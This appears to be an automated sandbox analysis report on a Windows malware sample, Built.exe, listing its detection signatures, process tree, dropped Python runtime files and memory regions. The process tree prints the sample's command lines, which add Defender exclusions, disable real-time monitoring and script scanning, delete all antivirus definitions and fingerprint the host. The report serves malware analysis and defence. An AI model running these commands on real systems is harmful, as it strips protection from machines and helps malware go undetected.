Analysis

  • max time kernel
    900s
  • max time network
    461s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 10:22

General

  • Target
    Built.exe
  • Size 10.6MB
  • Sample261024-meag3atwcs
  • SHA256 8defcb555f8b3c93b04364f927e3503d3da3f5790db7a6abaaa7b354089b29cd
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Loads dropped DLL 19 IoCs
  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • UPX packed file 55 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Queries system WMI classes for hardware identifiers 2 TTPs 1 IoCs

    Uses WMI to read hardware serial numbers or the system UUID, commonly used to fingerprint the victim machine.

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Built.exe
    "C:\Users\Admin\AppData\Local\Temp\Built.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1072
    • C:\Users\Admin\AppData\Local\Temp\Built.exe
      "C:\Users\Admin\AppData\Local\Temp\Built.exe"
      2⤵
      • Loads dropped DLL
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious use of WriteProcessMemory
      PID:2104
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2188
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4152
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2372
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3964
        • C:\Program Files\Windows Defender\MpCmdRun.exe
          "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
          4⤵
          • Deletes Windows Defender Definitions
          PID:2488
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:980
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:6072
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5316
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic csproduct get uuid
          4⤵
          • Queries system WMI classes for hardware identifiers
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1548
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:1968
    • C:\Windows\System32\SecurityHealthHost.exe
      \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
      1⤵
        PID:2476

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
            • MD5 SHA1 SHA512 TLSH

            VCRUNTIME140.dll

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004302\VCRUNTIME140.dll
            • Size 174KB
            • SHA256 d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7
            • MD5 SHA1 SHA512 SSDEEP TLSH

            VCRUNTIME140_1.dll

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004302\VCRUNTIME140_1.dll
            • Size 48KB
            • SHA256 a7146c08f89fe5b04541ab507cdb59ff7b44534d4ba3c668a426c6450a03434e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _bz2.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004302\_bz2.pyd
            • Size 51KB
            • SHA256 f3b6866898dcc0edeb3bad6b935974f059cd2a9254603d1f766d892cb3bdb457
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _ctypes.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004302\_ctypes.pyd
            • Size 67KB
            • SHA256 f5c39d33d5e626f790e55846021017e8cb06a78315a9b0dcaec96875ea583bdc
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _hashlib.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004302\_hashlib.pyd
            • Size 38KB
            • SHA256 26d9d20a3c7bbc62b2a430e4df19bd83335b17cda45da4adcac6bc3e00c731f5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _lzma.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004302\_lzma.pyd
            • Size 88KB
            • SHA256 4341f36a310038d57a789dc16ef7323c9016ed24c954d05f07b1a69ae3aed70d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _queue.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004302\_queue.pyd
            • Size 28KB
            • SHA256 94c97f4d6e22c1de3c3f2fde590eed1b9a8968e0d094a5d68676ba48a7de6194
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _socket.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004302\_socket.pyd
            • Size 46KB
            • SHA256 b289c0795f859042c5d9c285d1344f294e1948c7974fe6cab4fbfef8f3dff483
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _sqlite3.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004302\_sqlite3.pyd
            • Size 61KB
            • SHA256 02cf182b7192f87087ee2db0fc9afe248261de0946888c451dcc5467c4bb323a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _ssl.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004302\_ssl.pyd
            • Size 69KB
            • SHA256 a8c98340192d0b7c7361796a8368facff0fe0fdca29404fe9505371ca1c47707
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _wmi.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004302\_wmi.pyd
            • Size 30KB
            • SHA256 06de81ad9c4742f2a63a33bb72f0d5d6950fffe560026d91f12b4e57d246a63c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _zstd.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004302\_zstd.pyd
            • Size 176KB
            • SHA256 63953c318a82fe08b727794e6ab2d9e8833f2dd109f6aa65ee4e82c019904b1f
            • MD5 SHA1 SHA512 SSDEEP TLSH

            base_library.zip

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004302\base_library.zip
            • Size 1.3MB
            • SHA256 98f40e114561ce9904f9237ae9ccdbad1e1dda57507195638b8730b9a480a03c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            blank.aes

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004302\blank.aes
            • Size 97KB
            • SHA256 4c2694579e067eb743b2393f73dab59f15abd38feafb367b3c447947defb649e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            blank.aes

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004302\blank.aes
            • Size 97KB
            • SHA256 a2cef171712caa2d485b9ea65bb81d4f942278798545831c1b35c4afd426e9ff
            • MD5 SHA1 SHA512 SSDEEP TLSH

            libcrypto-3.dll

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004302\libcrypto-3.dll
            • Size 1.6MB
            • SHA256 5fdac609f40e3676cd6e7450f2a440934e47e89be0ee125307488ec647295739
            • MD5 SHA1 SHA512 SSDEEP TLSH

            libffi-8.dll

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004302\libffi-8.dll
            • Size 29KB
            • SHA256 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
            • MD5 SHA1 SHA512 SSDEEP TLSH

            libssl-3.dll

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004302\libssl-3.dll
            • Size 369KB
            • SHA256 151d841ce73d817ee966a20393f1d4a63197cb2d62ffe6c75aac1674051217d7
            • MD5 SHA1 SHA512 SSDEEP TLSH

            python314.dll

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004302\python314.dll
            • Size 1.9MB
            • SHA256 d67ddac422054665259870831fb21b7554ce28342a7182577fd023195c18f3c9
            • MD5 SHA1 SHA512 SSDEEP TLSH

            select.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004302\select.pyd
            • Size 28KB
            • SHA256 c9923469e700f95f4d314912c7490f5192ede75bebd1a617dbea6e203a6f7c65
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Lorem ipsum.txt

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004302\setuptools\_vendor\jaraco\text\Lorem ipsum.txt
            • Size 1KB
            • SHA256 37fedcffbf73c4eb9f058f47677cb33203a436ff9390e4d38a8e01c9dad28e0b
            • MD5 SHA1 SHA512 TLSH

            sqlite3.dll

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004302\sqlite3.dll
            • Size 663KB
            • SHA256 aaf04bf311cd55579c4ffd10a4c81236294534f55b8b42cb7570f21df88742e0
            • MD5 SHA1 SHA512 SSDEEP TLSH

            unicodedata.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000004302\unicodedata.pyd
            • Size 277KB
            • SHA256 80b2858ad498d4760a96d3f54c134eac7d66b973075ff6b0d996da873414370a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            __PSScriptPolicyTest_3x41mpsh.ldf.psm1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3x41mpsh.ldf.psm1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            memory/2104-88-0x00007FFFF3820000-0x00007FFFF3E51000-memory.dmp

            memory/2104-131-0x00007FF8067A0000-0x00007FF8067AD000-memory.dmp

            memory/2104-72-0x00007FFFFB010000-0x00007FFFFB163000-memory.dmp

            memory/2104-69-0x00007FF806850000-0x00007FF806885000-memory.dmp

            memory/2104-66-0x00007FF806890000-0x00007FF8068AA000-memory.dmp

            memory/2104-65-0x00007FFFF3E60000-0x00007FFFF456F000-memory.dmp

            memory/2104-59-0x00007FF807E00000-0x00007FF807E0F000-memory.dmp

            memory/2104-61-0x00007FF806C60000-0x00007FF806C74000-memory.dmp

            memory/2104-60-0x00007FFFF3820000-0x00007FFFF3E51000-memory.dmp

            memory/2104-38-0x00007FF80E1B0000-0x00007FF80E1BF000-memory.dmp

            memory/2104-83-0x00007FFFF3690000-0x00007FFFF381A000-memory.dmp

            memory/2104-82-0x00007FF8067B0000-0x00007FF8067D6000-memory.dmp

            memory/2104-46-0x00007FF807FF0000-0x00007FF80801C000-memory.dmp

            memory/2104-86-0x00007FF8067A0000-0x00007FF8067AD000-memory.dmp

            memory/2104-31-0x00007FFFF3E60000-0x00007FFFF456F000-memory.dmp

            memory/2104-50-0x00007FF80AEC0000-0x00007FF80AECD000-memory.dmp

            memory/2104-47-0x00007FF806C80000-0x00007FF806D00000-memory.dmp

            memory/2104-36-0x00007FF80AEF0000-0x00007FF80AF19000-memory.dmp

            memory/2104-116-0x00007FFFF3E60000-0x00007FFFF456F000-memory.dmp

            memory/2104-117-0x00007FF80AEF0000-0x00007FF80AF19000-memory.dmp

            memory/2104-118-0x00007FF80E1B0000-0x00007FF80E1BF000-memory.dmp

            memory/2104-119-0x00007FF80AED0000-0x00007FF80AEEA000-memory.dmp

            memory/2104-120-0x00007FF807FF0000-0x00007FF80801C000-memory.dmp

            memory/2104-121-0x00007FF806C80000-0x00007FF806D00000-memory.dmp

            memory/2104-122-0x00007FF80AEC0000-0x00007FF80AECD000-memory.dmp

            memory/2104-123-0x00007FF807E00000-0x00007FF807E0F000-memory.dmp

            memory/2104-126-0x00007FF806890000-0x00007FF8068AA000-memory.dmp

            memory/2104-127-0x00007FF806850000-0x00007FF806885000-memory.dmp

            memory/2104-104-0x00007FF807E00000-0x00007FF807E0F000-memory.dmp

            memory/2104-106-0x00007FFFECC80000-0x00007FFFECD3E000-memory.dmp

            memory/2104-129-0x00007FF8067B0000-0x00007FF8067D6000-memory.dmp

            memory/2104-71-0x00007FF80AEF0000-0x00007FF80AF19000-memory.dmp

            memory/2104-42-0x00007FF80AED0000-0x00007FF80AEEA000-memory.dmp

            memory/2104-125-0x00007FFFF3820000-0x00007FFFF3E51000-memory.dmp

            memory/2104-128-0x00007FFFFB010000-0x00007FFFFB163000-memory.dmp

            memory/2104-124-0x00007FF806C60000-0x00007FF806C74000-memory.dmp

            memory/2104-132-0x00007FFFECC80000-0x00007FFFECD3E000-memory.dmp

            memory/2104-130-0x00007FFFF3690000-0x00007FFFF381A000-memory.dmp

            memory/4152-99-0x00007FFFF2CE0000-0x00007FFFF3684000-memory.dmp

            memory/4152-98-0x00007FFFF2CE0000-0x00007FFFF3684000-memory.dmp

            memory/4152-110-0x0000016FFCA60000-0x0000016FFCB12000-memory.dmp

            memory/4152-109-0x0000016FFCA40000-0x0000016FFCA5E000-memory.dmp

            memory/4152-103-0x00007FFFF2CE0000-0x00007FFFF3684000-memory.dmp

            memory/4152-102-0x00007FFFF2CE0000-0x00007FFFF3684000-memory.dmp

            memory/4152-101-0x00007FFFF2CE0000-0x00007FFFF3684000-memory.dmp

            memory/4152-100-0x00007FFFF2CE0000-0x00007FFFF3684000-memory.dmp

            memory/4152-105-0x00007FFFF2CE0000-0x00007FFFF3684000-memory.dmp

            memory/4152-97-0x00007FFFF2CE0000-0x00007FFFF3684000-memory.dmp

            memory/4152-113-0x0000016FFC830000-0x0000016FFC83A000-memory.dmp

            memory/4152-94-0x0000016FFC770000-0x0000016FFC792000-memory.dmp

            memory/4152-96-0x00007FFFF2CE0000-0x00007FFFF3684000-memory.dmp

            memory/4152-91-0x00007FFFF2CE0000-0x00007FFFF3684000-memory.dmp

            memory/4152-90-0x00007FFFF2CE0000-0x00007FFFF3684000-memory.dmp

            memory/4152-89-0x00007FFFF2E6F000-0x00007FFFF2E70000-memory.dmp

            memory/4152-138-0x00007FFFF2CE0000-0x00007FFFF3684000-memory.dmp